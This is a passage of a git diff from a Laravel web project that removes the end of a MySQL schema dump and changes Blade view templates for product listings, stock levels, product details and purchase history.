PRIMARY KEY (`permission_id`,`role_id`), - ADD KEY `role_has_permissions_role_id_foreign` (`role_id`); - --- --- Indexes for table `sessions` --- -ALTER TABLE `sessions` - ADD PRIMARY KEY (`id`), - ADD KEY `sessions_user_id_index` (`user_id`), - ADD KEY `sessions_last_activity_index` (`last_activity`); - --- --- Indexes for table `users` --- -ALTER TABLE `users` - ADD PRIMARY KEY (`id`), - ADD UNIQUE KEY `users_email_unique` (`email`), - ADD UNIQUE KEY `google_id` (`google_id`) USING HASH; - --- --- AUTO_INCREMENT for dumped tables --- - --- --- AUTO_INCREMENT for table `failed_jobs` --- -ALTER TABLE `failed_jobs` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `jobs` --- -ALTER TABLE `jobs` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `migrations` --- -ALTER TABLE `migrations` - MODIFY `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=10; - --- --- AUTO_INCREMENT for table `oauth_personal_access_clients` --- -ALTER TABLE `oauth_personal_access_clients` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=2; - --- --- AUTO_INCREMENT for table `participations` --- -ALTER TABLE `participations` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `permissions` --- -ALTER TABLE `permissions` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=9; - --- --- AUTO_INCREMENT for table `products` --- -ALTER TABLE `products` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=23; - --- --- AUTO_INCREMENT for table `quizzes` --- -ALTER TABLE `quizzes` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT; - --- --- AUTO_INCREMENT for table `roles` --- -ALTER TABLE `roles` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=3; - --- --- AUTO_INCREMENT for table `users` --- -ALTER TABLE `users` - MODIFY `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=39; - --- --- Constraints for dumped tables --- - --- --- Constraints for table `model_has_permissions` --- -ALTER TABLE `model_has_permissions` - ADD CONSTRAINT `model_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE; - --- --- Constraints for table `model_has_roles` --- -ALTER TABLE `model_has_roles` - ADD CONSTRAINT `model_has_roles_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE; - --- --- Constraints for table `role_has_permissions` --- -ALTER TABLE `role_has_permissions` - ADD CONSTRAINT `role_has_permissions_permission_id_foreign` FOREIGN KEY (`permission_id`) REFERENCES `permissions` (`id`) ON DELETE CASCADE, - ADD CONSTRAINT `role_has_permissions_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE; -COMMIT; - -/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; -/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; -/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */; diff --git a/WebSecService/resources/views/products/list.blade.php b/WebSecService/resources/views/products/list.blade.php deleted file mode 100644 index 3d25e4ae..00000000 --- a/WebSecService/resources/views/products/list.blade.php +++ /dev/null @@ -1,85 +0,0 @@ -@extends('layouts.master') -@section('title', 'Test Page') -@section('content') -{{ $error }}
+ @endforeach +| # | +Name | +Current Stock | +Actions | +
|---|---|---|---|
| {{ $product->id }} | +{{ $product->name }} | +{{ $product->stock_quantity }} items | ++ + | +
{{ $error }}
+ @endforeach +| Name | {{$product->name}} |
|---|---|
| Model | {{$product->model}} |
| Code | {{$product->code}} |
| Price | ${{number_format($product->price, 2)}} |
| Stock | {{$product->stock_quantity}} items |
| Description | {{$product->description}} |
| Review | {{$product->review}} |
{{ $error }}
+ @endforeach +| Product | +Current Stock | +Actions | +
|---|---|---|
| {{ $product->name }} | +{{ $product->stock_quantity }} | ++ + | +
| # | +Product | +Price | +Purchase Date | +
|---|---|---|---|
| {{ $purchase->id }} | +{{ $purchase->product->name }} | +${{ number_format($purchase->price_at_purchase, 2) }} | +{{ $purchase->created_at->format('Y-m-d H:i:s') }} | +
{{ $error }}
+ @endforeach +